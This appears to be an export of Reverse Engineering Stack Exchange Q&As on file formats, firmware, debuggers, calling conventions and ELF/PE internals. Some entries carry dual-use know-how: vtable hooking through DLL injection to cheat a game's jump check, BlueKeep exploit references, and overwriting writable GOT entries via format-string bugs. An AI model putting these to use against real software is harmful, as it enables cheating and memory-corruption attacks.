computed:\nThe string \"TESTSTRING123\" precedes the string \"PREFIX...SUFFIX\". </p>\n\n<pre><code>                             P  R  E  F  I  X  L1 L2 D     S  U  F  L1 D\n----------------------------------------------------------------------------------------\nPREFIXTESTSTRING123SUFFIX 05 50 52 45 46 49 58 E0 04 16 02 53 55 46 20 12 40 42 00\nPREFIXTESTSTRING12SUFFIX  05 50 52 45 46 49 58 E0 03 16 02 53 55 46 20 11 40 41 00\nPREFIXTESTSTRING1SUFFIX   05 50 52 45 46 49 58 E0 02 16 02 53 55 46 20 10 40 40 00 33 40\nPREFIXTESTSTRINGSUFFIX    05 50 52 45 46 49 58 E0 01 16 02 53 55 46 20 0F 40 3F 00 33 40\nPREFIXTESTSTRINSUFFIX     05 50 52 45 46 49 58 E0 00 16 02 53 55 46 20 0E 40 3E 00 33 40\nPREFIXTESTSTRISUFFIX      05 50 52 45 46 49 58 C0    16 02 53 55 46 20 0D 40 3D 00 33 40\nPREFIXTESTSTRSUFFIX       05 50 52 45 46 49 58 A0    16 02 53 55 46 20 0C 40 3C 00 33 40\nPREFIXTESTSTSUFFIX        05 50 52 45 46 49 58 80    16 02 53 55 46 20 0B 40 3B 00 33 40\nPREFIXTESTSSUFFIX         05 50 52 45 46 49 58 60    16 02 53 55 46 20 0A 40 3A 00 33 40\nPREFIXTESTSUFFIX          05 50 52 45 46 49 58 60    16 01    55 46 20 09 40 39 00 33 40 \nPREFIXTESSUFFIX           05 50 52 45 46 49 58 20    16 02 53 55 46 20 08 40 38 00 33 40\nPREFIXTESUFFIX            05 50 52 45 46 49 58 20    16 01    55 46 20 07 40 37 00 33 40 \nPREFIXTSUFFIX             09 50 52 45 46 49 58 54 53 55 46 20 06 40 36 00 33 40  \n</code></pre>\n",
        "Title": "Decode synth preset formats for massive (.nmsv) fm8 (.nfm8) and absynth (.nabs)",
        "Tags": "|binary-analysis|file-format|decompress|",
        "Answer": "<p>I now have a working schematic and implementation for the NI file container, blocks, and decompressor. I still cannot interpret data blocks (basically variables in the packer), I'd love some help or discussion there. I understand basic things about <code>DSIN</code> blocks but not sure how the values relate to the data itself.</p>\n<p>I've put my findings up at <a href=\"https://github.com/monomadic/ni-decompressor\" rel=\"nofollow noreferrer\">https://github.com/monomadic/ni-decompressor</a></p>\n<p>This works with many NI files, not just massive, but I've been focusing on kontakt. I can also read monoliths but they are an entirely different format, but they look like they're easier.</p>\n<p>I've pre-decompressed some compressed segments and dumped the decompressed section if you're just interested in those (though they won't read in kontakt, massive etc as they don't have the wrapper around them) in the <code>/examples</code> directory, with the extension .deflate</p>\n"
    },
    {
        "Id": "22426",
        "CreationDate": "2019-10-30T12:57:50.130",
        "Body": "<p>I dumped a wifi firmware of ps3 console but it seems that this firmware is compressed.\nHere you can have some informations : <a href=\"https://www.psdevwiki.com/ps3/Wifi_Firmware\" rel=\"nofollow noreferrer\">https://www.psdevwiki.com/ps3/Wifi_Firmware</a></p>\n\n<p><a href=\"https://i.stack.imgur.com/NC21n.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/NC21n.png\" alt=\"Header_img\"></a></p>\n\n<p>What can I do to decompress it (and to know which algorithm is used here)or just if someone can give me an advice where to check to go further in the analysis because now I don't have any ideas of what to do :/</p>\n\n<p>Thanks !</p>\n\n<p><strong>EDIT :</strong></p>\n\n<p>Entropy analysis:\n<a href=\"https://i.stack.imgur.com/QaYnQ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/QaYnQ.png\" alt=\"Entropy_img\"></a></p>\n\n<p>File is <a href=\"https://mega.nz/#!BVkg0aZa!WgoovAEY2Wm1VXjOAbkkYa5AtJBM2wF1X_Z9fKCrhnY\" rel=\"nofollow noreferrer\">here</a>.</p>\n\n<p>Here is the datsheet of the chip : <a href=\"https://www.macronix.com/Lists/Datasheet/Attachments/7306/MX25L4005A,%203V,%204Mb,%20v2.2.pdf\" rel=\"nofollow noreferrer\">https://www.macronix.com/Lists/Datasheet/Attachments/7306/MX25L4005A,%203V,%204Mb,%20v2.2.pdf</a></p>\n\n<p>I just used basic binwalk and that's it. I'm a beginner in this field so i don't know that much :/</p>\n\n<p>There is no binwalk output.except for entropy:</p>\n\n<pre><code>DECIMAL       HEXADECIMAL     ENTROPY\n--------------------------------------------------------------------------------\n0             0x0             Falling entropy edge (0.334894)\n87040         0x15400         Falling entropy edge (0.818296)\n181248        0x2C400         Falling entropy edge (0.807684)\n215040        0x34800         Falling entropy edge (0.837182)\n226304        0x37400         Falling entropy edge (0.833665)\n265216        0x40C00         Falling entropy edge (0.819895)\n371712        0x5AC00         Falling entropy edge (0.791722)\n</code></pre>\n",
        "Title": "Way to know if firmware is compressed",
        "Tags": "|firmware|encryption|decompress|",
        "Answer": "<p>I believe it is not compressed or encrypted.   Entropy of 0.8 is pretty poor for any decent encryption or compression. These regions are more likely to be code.</p>\n\n<p>With this in mind, let's look at a hexdump in the region of the first area of higher entropy at offset 0x00001000 -</p>\n\n<pre><code>00001000:  76 86 65 77 01 01 00 24 FF FF FF FF 00 10 FF FF  v.ew...$........\n00001010:  00 00 21 26 00 00 00 00 00 00 00 00 00 00 38 10  ..!&amp;..........8.\n00001020:  76 9C 07 9D E5 9F 00 28 EE 01 0F 10 E5 9F D0 24  v......(.......$\n00001030:  EA 00 00 0B E5 9F 00 20 E5 9F 10 20 E3 A0 20 00  ....... ... .. .\n00001040:  E5 80 10 00 E5 80 10 04 E5 80 20 08 E5 80 20 0C  .......... ... .\n00001050:  E1 A0 F0 0E 00 00 1F 74 04 00 20 00 90 00 02 00  .......t.. .....\n00001060:  00 00 55 55 E2 8F 80 C4 E8 98 00 03 E0 80 00 08  ..UU............\n00001070:  E0 81 10 08 E2 40 B0 01 E1 50 00 01 0A 00 00 13  .....@...P......\n00001080:  E8 B0 00 70 E1 54 00 05 0A FF FF FA E3 14 00 01  ...p.T..........\n</code></pre>\n\n<p>The fact that almost every 4th byte has a high nibble of <code>E</code> is strongly indicative of 32-bit ARM code.</p>\n\n<p>That does leave the question of why areas look garbled.\ne.g.</p>\n\n<pre><code>000128B0:  47 18 BC 08 65 48 20 3A 6D 20 70 61 72 6F 6D 65  G...eH :m parome\n000128C0:  6F 63 20 79 70 75 72 72 00 64 65 74 20 74 75 4F  oc ypurr.det tuO\n000128D0:  68 20 66 6F 20 70 61 65 6F 6D 65 6D 00 00 79 72  h fo paeomem..yr\n</code></pre>\n\n<p>What I believe is happening is that there is some endianness mix-up going on, perhaps with how the flash interfaces with the SOC/MCU or maybe with the settings of the program you used to dump the flash.</p>\n\n<p>So, look again at the region at offset 000128B0 but reverse each group of 4 bytes first.  This gives you -</p>\n\n<pre><code>000128B0:  08 BC 18 47 3A 20 48 65 61 70 20 6D 65 6D 6F 72  ...G: Heap memor\n000128C0:  79 20 63 6F 72 72 75 70 74 65 64 00 4F 75 74 20  y corrupted.Out \n000128D0:  6F 66 20 68 65 61 70 20 6D 65 6D 6F 72 79 00 00  of heap memory..\n</code></pre>\n\n<p>This makes much more sense. Other apparent strings become readable with this transformation too.</p>\n\n<p>I'd suggest you apply this to the whole file and see what that gives you.</p>\n"
    },
    {
        "Id": "22429",
        "CreationDate": "2019-10-30T21:44:17.873",
        "Body": "<p>While reversing some J2ME games like Spyro or Tekken 5 Mobile I have encountered a weird obfuscation where all fields, methods and classes have names like A, a, B, b, Aa, Bb etc.</p>\n\n<p>It's really hard to read source code like that. Example method can look like this:</p>\n\n<pre><code>     public static void a(final boolean b) {\n        f.b = b;\n        if (!b &amp;&amp; f.a != null) {\n            try {\n                f.a.stop();\n            }\n            catch (Exception ex) {}\n            f.a = null;\n        }\n    }\n</code></pre>\n\n<p>Is there a way to restore original names or at least make this code more readable? I would be grateful for any tips.</p>\n",
        "Title": "J2ME games obfuscator - Spyro and Tekken 5",
        "Tags": "|obfuscation|java|game-hacking|",
        "Answer": "<p>Maybe. If the Source File of the Classes are present you can reverse the Class names.\nUnfortunatly there are no ways to retrieve Methods and Fields names. The only thing that you can do for that is renaming the fields and methods with unique names to make the code more readable.</p>\n"
    },
    {
        "Id": "22436",
        "CreationDate": "2019-11-01T00:17:04.720",
        "Body": "<p>I've been reading some about reverse engineering and decided to try to learn as I go, which has proven somewhat difficult. Sorry about the generic title, I'll try and give enough info so it can be properly answered. I have attempted to view the code of both the exe of the game and the game assembly dll, the game was written in c# with unity, every time I import any of the files into dnSpy it only has a PE tab containing header info I think? BTW the second screenshot is how it is on every item, I've seen some video's where they can edit the c# right in here, is it a security measure or am I an idiot and screwed up? If my question is really retarded feel free to direct me to some beginner resources. I may even just be using the wrong tool. Let me know if you need clarification and thanks in advance for answering my noob question</p>\n\n<p><a href=\"https://i.stack.imgur.com/DEWp1.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/DEWp1.png\" alt=\"\"></a><a href=\"https://i.stack.imgur.com/sMllW.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/sMllW.png\" alt=\"\"></a></p>\n",
        "Title": "How do I reverse engineer a game using dnSpy?",
        "Tags": "|decompilation|game-hacking|",
        "Answer": "<p>These sections indicate that this is a standard PE, or binary executable loaded by OS. That means that the code is in assembly, and you need a x64 dissambler(probably) . Try IDA.</p>\n\n<p>Just notice that you have to know quite a bit to reverse a game, and I would start with easy crackme excersices. </p>\n"
    },
    {
        "Id": "22443",
        "CreationDate": "2019-11-01T12:33:03.503",
        "Body": "<p>It's pretty annoying. I think I might have changed some setting somewhere.</p>\n<p><a href=\"https://i.stack.imgur.com/xfKBH.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/xfKBH.png\" alt=\"Here's a screenshot of what I'm talking about. See all those &quot;...&quot; ?\" /></a></p>\n<p>Here's a screenshot of what I'm talking about. See all those &quot;...&quot; ?</p>\n<p>How do I turn that off?</p>\n",
        "Title": "Ghidra does not display whole strings",
        "Tags": "|ghidra|",
        "Answer": "<p>You need to edit the field width.</p>\n\n<p>First, click the \"Edit the Listing fields\" button:</p>\n\n<p><a href=\"https://i.stack.imgur.com/1zTxh.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/1zTxh.png\" alt=\"Edit the Listing fields\"></a></p>\n\n<p>Then, drag the \"Field Name\" border to the right until the text is fully displayed:</p>\n\n<p><a href=\"https://i.stack.imgur.com/RrAIh.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/RrAIh.png\" alt=\"Field width\"></a></p>\n"
    },
    {
        "Id": "22451",
        "CreationDate": "2019-11-02T20:59:48.880",
        "Body": "<p>Is there a way to get the the base(start) address of the NonPagedPool in Windows ?</p>\n\n<p>I know that it's dynamic for Post windows 7 Operating Systems (Does this include Windows server 2008 ?)</p>\n",
        "Title": "Get NonPagedPool (NPP) Base Address on any Windows OS",
        "Tags": "|windows|memory|exploit|kernel-mode|memory-dump|",
        "Answer": "<p>I found the solution when reading these two articles:</p>\n\n<ol>\n<li><a href=\"https://pentest-tools.com/blog/bluekeep-exploit-metasploit/\" rel=\"nofollow noreferrer\">https://pentest-tools.com/blog/bluekeep-exploit-metasploit/</a> (Extracting the NPP Address)</li>\n<li><a href=\"https://medium.com/@alexandrevvo/testing-bluekeep-cve-2019-0708-metasploit-module-on-windows-7-ef3f28217b7b\" rel=\"nofollow noreferrer\">https://medium.com/@alexandrevvo/testing-bluekeep-cve-2019-0708-metasploit-module-on-windows-7-ef3f28217b7b</a> (Finding the NPP)</li>\n</ol>\n"
    },
    {
        "Id": "22456",
        "CreationDate": "2019-11-04T12:08:00.653",
        "Body": "<p>For my own amusement, I dumped the files of an old Nintendo DS video game I have (the company has long since gone bankrupt/closed) and am trying to extract the assets. I have recovered game text, videos, and sound, but one 58-MB file by the name of <code>graph.dat</code>, which contains the game's graphics (probably) is giving me a hard time. </p>\n\n<p>Importantly, the game's text was stored in a custom format which the developers appear to have created for the game, so I strongly suspect <code>graph.dat</code> to contain a custom graphics format as well.</p>\n\n<p>I was able to break the graphics file into segments by reading metadata records left in a separate file, <code>graph.dti</code>. The metadata file contained 1910 records, separated by 44 chunks of intermediate data. Each record listed off a set of contiguous addresses in <code>graph.dat</code>, which yielded three binary data blobs once chunked out of that file.</p>\n\n<p>The first blob in each record, which I've nicknamed 'Huey', might be some sort of header. It's always either 32 bytes or 512 bytes long.</p>\n\n<p>The second blob, 'Dewey', is of variable length, ranging from 704 bytes to 49 KB in size. I suspect it contains the actual image data.</p>\n\n<p>The third blob, 'Louie', is always 1536 bytes in size. </p>\n\n<p>I suspect 'Huey' may be color palette data, and 'Louie' is some sort of color index, but I can't be sure. </p>\n\n<p><strong>Does anyone have any ideas?</strong> Tossing 'Dewey' into GIMP's raw data import was spectacularly unsuccessful.</p>\n\n<p><a href=\"https://lioncheese.com/WhatTheDuck.zip\" rel=\"nofollow noreferrer\">Link to a sample of four different images (I'm assuming) from the file.</a> Filenames were provided by my unpacker tool and were not present in the original metadata. I have 1,906 more of these where this came from, so just ask if you need them.</p>\n",
        "Title": "Deciphering an unknown graphics format",
        "Tags": "|binary-analysis|file-format|binary-diagnosis|graphics|",
        "Answer": "<p>I'm not sure what the 'louie' files are for, but this python script should help reconstruct the images:</p>\n\n<pre><code>import png\n\n# simple scale from [0,0x1f] to [0,0xff]\ndef scale_up(n):\n  return (n&lt;&lt;3)|n\n\ndef make_pal(n):\n  val = (n[1]&lt;&lt;8)|n[0]\n  return [scale_up((val&gt;&gt;0)&amp;0x1f), scale_up((val&gt;&gt;5)&amp;0x1f), scale_up((val&gt;&gt;10)&amp;0x1f)]\n\nw=256\nh=192\n\nimage_base='img_159_9_0'\n\npixel_data_file=f'{image_base}_dewey.bin'\npalette_file=f'{image_base}_huey.bin'\n\nwith open(palette_file, 'rb') as f:\n  pal_bytes = f.read()\n\nreal_pal=[]\nfor i in range(0,256):\n  m = make_pal(pal_bytes[i*2:i*2+2])\n  real_pal.append(m)\n\n\nwith open(pixel_data_file, 'rb') as f:\n  pixel_bytes = f.read()\n\ntile_w = 8\ntile_h = 8\nimage_tile_h = h/tile_h\nimage_tile_w = w/tile_w\n\n# if any pixel/channel is not written, the png writer will complain about -1\nrows_dat = [[-1 for n in range(w*3)] for m in range(h)]\nfor i in range(w*h):\n  tile_i = int(i / (tile_w*tile_h))\n  tile_x = int(tile_i % image_tile_w)\n  tile_y = int(tile_i / image_tile_w)\n  small_i = int(i % (tile_w*tile_h))\n  small_x = int(small_i % tile_w)\n  small_y = int(small_i / tile_w)\n  rows_dat[tile_y*tile_h + small_y][3*(tile_x*tile_w + small_x)] = real_pal[pixel_bytes[i]][0]\n  rows_dat[tile_y*tile_h + small_y][3*(tile_x*tile_w + small_x)+1] = real_pal[pixel_bytes[i]][1]\n  rows_dat[tile_y*tile_h + small_y][3*(tile_x*tile_w + small_x)+2] = real_pal[pixel_bytes[i]][2]\n\nwith open(f'{image_base}.png', 'wb') as of:\n  writer = png.Writer(width=w, height=h, greyscale=False)\n  writer.write(of, rows_dat)\n</code></pre>\n\n<p>In your example data, it looks like <code>img_159_9_0_dewey.bin</code> is padded at the start with 64 bytes of <code>0x00</code>'s. I'm not sure if this was an error in dumping it, but removing that <a href=\"https://i.stack.imgur.com/BfmEp.png\" rel=\"nofollow noreferrer\">helps</a>.</p>\n\n<p>All the images you provided seem to be 256x192 (I left them rotated, the tile logic is clearer without unrotating - you can do this after), made up of 8x8 tiles of pixels. The pixel data (stored in <code>dewey</code>) indexes into a palette of RGB555 values stored as u16le (stored in <code>huey</code>). You didn't provide any, but I guess the 32 byte <code>huey</code> files are just palettes of 16 colors - the corresponding pixel data may consist of tightly packed 4-bit indexes.</p>\n"
    },
    {
        "Id": "22457",
        "CreationDate": "2019-11-04T22:48:23.967",
        "Body": "<p>So I am learning about ELF, and am looking through a binary in Ghidra as I do. I've made sense of the ELF header, and now I am looking through the program header table.</p>\n\n<p>My binary has a bunch of entries in the program header table, but I am hung up on one in particular...</p>\n\n<p>From referencing...</p>\n\n<p><a href=\"http://www.sco.com/developers/gabi/latest/ch5.pheader.html#p_flags\" rel=\"nofollow noreferrer\">http://www.sco.com/developers/gabi/latest/ch5.pheader.html#p_flags</a></p>\n\n<p>...I can see what the different flags mean. Of relevance:</p>\n\n<pre><code>p_offset = 0xABCDEF\np_vaddr = 0x1BCDEF\np_filesz = &lt;number&gt;\np_memsz = &lt;bigger number&gt;\n</code></pre>\n\n<p>I am able to go to the p_vaddr value in the binary, and it brings me to the <code>.ctors</code> section. Where I do see what appears to be a list of pointers, but currently those pointers do not represent valid virtual addresses (by currently I mean they are not virtual addresses that I can \"go\" to in Ghidra). When I run the program dynamically in gdb though, I can run <code>x addr_of_interest</code> and it succeeds and says it is pointing to something in a library blah blah.</p>\n\n<p>I found a relevant link from GCC too, but it did not answer my question as far as I could tell...</p>\n\n<p><a href=\"https://gcc.gnu.org/onlinedocs/gccint/Initialization.html\" rel=\"nofollow noreferrer\">https://gcc.gnu.org/onlinedocs/gccint/Initialization.html</a></p>\n\n<p>My question therefore is this: <strong>When/how are these pointers mapped to valid memory, and where in the ELF file is the information that would tell me how this happens?</strong></p>\n",
        "Title": "How to determine when/where pointers in .ctors get mapped?",
        "Tags": "|c++|elf|ghidra|x86-64|",
        "Answer": "<p>Duh. Stupid.</p>\n\n<p>Importantly, the binary I am looking at is <strong>not</strong> a PIE (<strong>P</strong>osition <strong>I</strong>ndependent <strong>E</strong>xecutable). I had Ghidra's image base set to 0x0, rather than 0x400000 (which is the p_vaddr of the loadable segment containing all of the code, and notably, the canonical value used here for x86_64 binaries). This is the only reason the function pointers listed in <code>.ctors</code> were not addresses Ghidra could go to. As soon as I set the image base to 0x400000 they were legitimate. </p>\n\n<p>:facepalm:</p>\n"
    },
    {
        "Id": "22466",
        "CreationDate": "2019-11-06T00:19:16.603",
        "Body": "<p>I am trying to convert the following bytes into their corresponding dates.</p>\n\n<p>I am not 100% on format the dates is stored, this format is returned from the application that read them.</p>\n\n<p>Bytes   Date value</p>\n\n<pre><code>25 47 = 04/19/2005\n32 47 = 05/02/2005\n30 47 = 04/30/2005\n31 47 = 05/01/2005\nD8 46 = 02/01/2005\n\n3D 48 = 01/24/2006\n3F 48 = 01/26/2006\n45 48 = 02/01/2006\n\n1E 53 = 09/09/2013\n15 53 = 08/31/2013\n4C 53 = 10/25/2013\n70 53 = 11/30/2013\n\n3E 58 = 04/13/2017\n4F 58 = 04/30/2017\n\n92 59 = 03/19/2018\n9E 59 = 03/31/2018\n</code></pre>\n\n<p>The application was developed in the 1980s, so I am assuming that if there is an epoch, it is 1980 or before.</p>\n\n<p>There is clearly a pattern that the byte values increase as the dates increases.</p>\n\n<p>I have tried subtracting the decimal value from the date as days - that did not work since the epoch was different for some dates.</p>\n\n<p>I have also tried to look at binary bits; 4 bits for month, 5 for day, and the rest for year. That did not work either.</p>\n\n<p>This data came from a .dbm file created with DataEase 5.53 if that helps.</p>\n",
        "Title": "Converting 2 bytes into date",
        "Tags": "|dos|",
        "Answer": "<p>Well let's just pick these two:</p>\n\n<pre><code>32 47 = 0x4732 =&gt; 05/02/2005\n31 47 = 0x4731 =&gt; 05/01/2005\n</code></pre>\n\n<p>So that 16-bit value is counting the days!</p>\n\n<p>Well when that counting started?</p>\n\n<pre><code>0x4732 =&gt; 18226 days / 365 days_per_year ~&gt; 50years\nyear 2005  - 50 = 1955\n</code></pre>\n\n<p>So maybe epoch is at 1.1.1955</p>\n\n<p>EDIT: Well the exact epoch is 08.06.1955. (Thanks to Ian for the answer)</p>\n\n<pre><code>06/08/1955 =&gt; 0x0000 =&gt; 00 00\n07/08/1955 =&gt; 0x0001 =&gt; 01 00\n08/08/1955 =&gt; 0x0002 =&gt; 02 00\n...\n</code></pre>\n"
    },
    {
        "Id": "22476",
        "CreationDate": "2019-11-07T03:51:19.397",
        "Body": "<p>I was practising reverse engineering on some Windows x64 applications when I came across this function:</p>\n\n<pre><code>call alloca_probe\n</code></pre>\n\n<p>This <em>alloca_probe</em> function has some strange implementation:</p>\n\n<ol>\n<li>EAX is used as a function argument (for the allocation size)</li>\n<li>The prolog saves current state of R10 and R11 even though they are considered volatile registers by convention.</li>\n</ol>\n\n<p>As I can recall, the x64 calling convention by Microsoft indicates:</p>\n\n<ul>\n<li>RCX, RDX, R8, and R9 should be used as the first 4 function arguments.</li>\n<li>RAX, RCX, RDX, R8, R9, R10, R11 are all volatile registers.</li>\n</ul>\n\n<p><em>alloca_probe</em> function clearly doesn't follow this convention...  </p>\n\n<p><strong>My question is:</strong></p>\n\n<p>Why doesn't this function follow the convention, and how does the compiler know how to use these type of functions (e.g using EAX as first argument)?</p>\n",
        "Title": "Why doesn't alloca_probe follow x64 calling convention?",
        "Tags": "|ida|assembly|calling-conventions|",
        "Answer": "<p>This is not a standard function but a compiler helper, used by the compiler to perform some necessary housekeeping (allocate extra stack space) so it doesn\u2019t have to follow the ABI for \u201cnormal\u201d functions. </p>\n\n<p>Because it is called in the prolog of the parent function while the user code has not started executing yet, special care needs to be taken. </p>\n\n<p>EAX use likely comes from the x86 version which has similar constraints and could not use stack arguments. In theory any register could have been used but    <code>mov eax, imm</code> has a short encoding which saves space in the prolog. \nThe normally volatile registers need to be saved because they need to be preserved by the function\u2019s prolog we\u2019re executing and if they get trashed there may be all kinds of wrong results. </p>\n"
    },
    {
        "Id": "22489",
        "CreationDate": "2019-11-09T00:13:34.990",
        "Body": "<p>Assume I were to be reversing some game which processes all of it's movement client side and have determined some function to be of the type:</p>\n\n<pre><code>bool __thiscall Player::CanJump(Player *this)\n</code></pre>\n\n<p>that I have determined to be a member of the Player object's vtable. Now lets assume I wanted to edit that object's vtable to point to my own dll injected implementation so that I could jump whenever I wanted. I could declare it as</p>\n\n<pre><code>bool __fastcall CanJumpReplacement(Player *player) {\n    return true;\n}\n</code></pre>\n\n<p>and replace the Player's vtable entry with a pointer to this function. This works as expected, but <em>why should I use the fastcall convention here</em>? Fastcall is used almost exclusively for this purpose from what I can tell, but I was reading through the calling conventions and cdecl seems to be a much closer match to thiscall than fastcall. Both calling conventions succeeded in replacing the function.</p>\n",
        "Title": "Why is fastcall used for replacing thiscall functions in memory instead of cdecl?",
        "Tags": "|disassembly|decompilation|c++|c|",
        "Answer": "<p>This question is a bit confusing.</p>\n\n<p>Both <code>__fastcall</code> and <code>__thiscall</code> share that they use <code>ecx</code> as the first storage point. So either you implicitly say the class pointer will be in <code>ecx</code> (<code>__thiscall</code>) or you say the function is not a member function but has one argument - which also gets passed in <code>ecx</code> when using <code>__fastcall</code> so the class pointer still ends up in the right register.</p>\n\n<p>Also, both calling conventions use callee cleanup so no problem here, too.</p>\n\n<p>However, this only works for no-argument functions. If your function had an argument, it would end up in <code>edx</code> for <code>__fastcall</code>, but on the stack for <code>__thiscall</code> and therefore not work anymore.</p>\n"
    },
    {
        "Id": "22494",
        "CreationDate": "2019-11-09T22:31:22.617",
        "Body": "<p>I have a DLL paused at <code>EntryPoint</code> in <code>x32dbg</code>. I am interested in examining memory following a specific API call that this DLL makes. I found the API call in the <code>imports</code> section when I open the DLL in <code>IDAFree</code> and then I see the API function call in IDA. I follow it in code and IDA shows it's at address: <code>10001B66</code></p>\n\n<p>My problem is that when I try to set a breakpoint at this address in <code>x32dbg</code> (<code>bp 0x10001B66</code>), it gives me an error:</p>\n\n<blockquote>\n  <p>Error setting breakpoint at 10001B66! (memread)</p>\n</blockquote>\n\n<p>Additionally, in <code>x32dbg</code>, I'm seeing addresses such as <code>714A7D39</code> for my DLL. Now, I'm new to this but I'm guessing that the <code>memread</code> error is because <code>10001B66</code> -- as seen in IDA -- is not a valid memory address in the context of execution in the debugger.</p>\n\n<p>So how do I get the correct address of this API function call so that I can set the correct breakpoint? </p>\n",
        "Title": "How to use memory address information from IDAFree to set a breakpoint in x32dbg?",
        "Tags": "|ida|disassembly|debugging|memory|x64dbg|",
        "Answer": "<h2>Procedure:</h2>\n\n<ol>\n<li>Get base address in x64dbg: Load the binary in x64dbg. Go to \"Memory Map\" tab.\nFind the binary name in info column. Then copy the address with the right\nclick on it. For example, in the following screenshot, the x86_64 PE binary\nname is <code>Project1.exe</code> and the base address is <code>0x00007FF6A4850000</code>.</li>\n</ol>\n\n<p><a href=\"https://i.stack.imgur.com/y7YAP.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/y7YAP.png\" alt=\"x64dbg-memory-map-view\"></a></p>\n\n<ol start=\"2\">\n<li>Rebase in IDA: Open the binary in IDA. Click on Edit > Segments > Rebase\nprogram > Enter the value which is copied from previous step.</li>\n</ol>\n\n<p><a href=\"https://i.stack.imgur.com/483qp.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/483qp.png\" alt=\"ida-rebase-program\"></a></p>\n\n<ol start=\"3\">\n<li>Start debugging: Find the API call in IDA. Copy the address of that instruction\nfrom assembly view. Go to \"CPU\" tab in x64dbg. Press <kbd>Ctrl</kbd>+<kbd>G</kbd>\nin x64dbg and enter the address which you want to see.</li>\n</ol>\n\n<p><a href=\"https://i.stack.imgur.com/b7vGz.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/b7vGz.png\" alt=\"enter-address-x64dbg-to-debug\"></a></p>\n\n<p>This procedure changes the base address of the loaded binary in IDA according to x64dbg. This can also be done manually by calculating the difference between the base address and the point where you want to set the breakpoint.</p>\n\n<p><strong>Source:</strong> <a href=\"https://www.youtube.com/watch?v=DGX7oZvdmT0\" rel=\"nofollow noreferrer\">YouTube/OALabs: Disable ASLR For Easier Malware Debugging With x64dbg and IDA Pro</a></p>\n"
    },
    {
        "Id": "22506",
        "CreationDate": "2019-11-11T09:43:44.220",
        "Body": "<p>When a breakpoint callback is triggered trying to automate the debugger inside the callback causes the application to become unresponsive. <code>x64dbg</code> continues functioning but the application itself doesn't resume execution.</p>\n\n<p>This is only happening when the functions are called inside the BP callback.</p>\n\n<p>Script:</p>\n\n<pre><code>from x64dbgpy import *\n\ndef handle():\n    pluginsdk.Run()\n\n\nBreakpoint.add(0x81755, handle)\n</code></pre>\n\n<p>Calling any function such as <code>pluginsdk.StepOver</code>, etc also causes the freeze.</p>\n\n<p>Does x64dbgpy not support automating the debugger inside breakpoint callbacks? Or am I doing something wrong? Suggestions would be great.</p>\n",
        "Title": "x64dbgpy: application unresponsive when trying to automate inside breakpoint callback",
        "Tags": "|binary-analysis|python|dynamic-analysis|x64dbg|automation|",
        "Answer": "<p>Currently it is not supported to do debug automation in callbacks. This is related to the threading model and is further explained at <a href=\"https://x64dbg.com/blog/2016/10/20/threading-model.html\" rel=\"nofollow noreferrer\">https://x64dbg.com/blog/2016/10/20/threading-model.html</a>, which links to some older resources.</p>\n\n<p>Recently there was an interesting development though, because it became possible to automate in the debug callbacks with x64dbg\u2019s built in scripting language (which I do not recommend). The idea now is to port this idea to a C api, which can then be used by plugins like x64dbgpy or x64dbgPlaytime.</p>\n"
    },
    {
        "Id": "22509",
        "CreationDate": "2019-11-11T14:17:23.493",
        "Body": "<p>So based on my knowledge on windows apps, as far as i know the IAT gets filled  with correct addresses when the library gets loaded (correct me if I'm wrong)</p>\n\n<p>now in linux, they use GOT, and again based on my knowledge the GOT gets filled in run time by default, meaning first we jump into PLT, then the first time i use a function (for example puts) we first call the dynamic loader by jumping in the beginning of PLT and that fills the corresponding address in GOT, and next time i call puts then i directly jump into it after going into PLT</p>\n\n<p>so this means that by default, windows fills all the addresses in the IAT in load time but linux doesn't, correct?</p>\n\n<p>and if so, then isn't this a security risk for linux? because in windows IAT is inside the rdata section and is read only, but in linux is read and write! and for example if we have a format string exploit then we can write on GOT but this doesnt happen in windows, am i missing something here? </p>\n",
        "Title": "IAT vs GOT address resolving: which of them resolve during runtime and which during load time by default?",
        "Tags": "|windows|linux|memory|pe|elf|",
        "Answer": "<p>You understanding is correct:</p>\n\n<ul>\n<li><p>PE's IAT is resolved by the system loader and can be made read-only afterwards.</p></li>\n<li><p>ELF's GOT entries initially point to PLT stubs and are overwritten with the final address on the first call.. meaning GOT needs to remain writable.</p></li>\n</ul>\n\n<p>Writable GOT is indeed a known source of vulnerabilities which is why mitigations like <a href=\"https://mudongliang.github.io/2016/07/11/relro-a-not-so-well-known-memory-corruption-mitigation-technique.html\" rel=\"nofollow noreferrer\">RELRO</a> have been introduced. </p>\n\n<p>Note that PEs can also use <a href=\"https://docs.microsoft.com/en-us/cpp/build/reference/delayload-delay-load-import\" rel=\"nofollow noreferrer\">delay-loaded imports</a> which work similar to GOT+PLT (resolution on first call) and may be subject to similar issue.</p>\n"
    },
    {
        "Id": "22520",
        "CreationDate": "2019-11-12T05:45:26.543",
        "Body": "<p>So I am reversing an ELF\u200c binary, now from my knowledge in C the main function has two argument, argc and argv </p>\n\n<p>but some linux binaries that i am reversing have 3 when i decompile them! one int and the other two are char**, i assume the second is the argv but what is the last one?</p>\n\n<p>one example is this binary for a CTF\u200c:\u200c</p>\n\n<p><a href=\"https://github.com/SPRITZ-Research-Group/ctf-writeups/tree/master/0x00ctf-2017/reverse/challenge-000-50\" rel=\"nofollow noreferrer\">https://github.com/SPRITZ-Research-Group/ctf-writeups/tree/master/0x00ctf-2017/reverse/challenge-000-50</a></p>\n",
        "Title": "Why is IDA showing three arguments for the main function instead of two in some linux binaries?",
        "Tags": "|ida|x86|elf|",
